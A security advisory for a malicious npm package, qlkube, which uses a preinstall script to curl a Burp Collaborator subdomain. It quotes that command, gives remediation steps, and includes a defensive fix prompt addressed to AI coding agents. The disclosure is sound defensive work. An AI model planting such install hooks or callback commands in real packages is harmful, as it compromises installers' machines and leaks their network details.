# MAL-2026-10016: Malicious code in qlkube (npm)


- **Type:** Malicious package
- **Package:** `qlkube` (npm)
- **Published:** 9 Jul 2026
- **Also known as:** GHSA-w88p-pj99-p5g3

## What is MAL-2026-10016?

MAL-2026-10016 is a malicious package in qlkube, published on 9 Jul 2026. 

### Official description

The package's package.json declares a preinstall lifecycle script that runs `curl https://cwcie03pzedo62twgbs3x6e9l0rsfk39.oastify.com` on `npm install`. The destination is a Burp Suite Collaborator subdomain used for out-of-band interaction confirmation; contacting it on install confirms code execution on the installer's machine and leaks the installer's public IP and DNS resolver via the OOB callback. The package has no legitimate functionality (index.js is a stub), consistent with a dependency-confusion probe or targeted exploitation payload against an internal package name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-10016?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-10016 is a malicious package: qlkube (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-10016/ (Markdown: https://insights.sbomify.com/MAL-2026-10016/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-10016

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-10016/
Summaries are generated and may contain mistakes; the official description above is the record.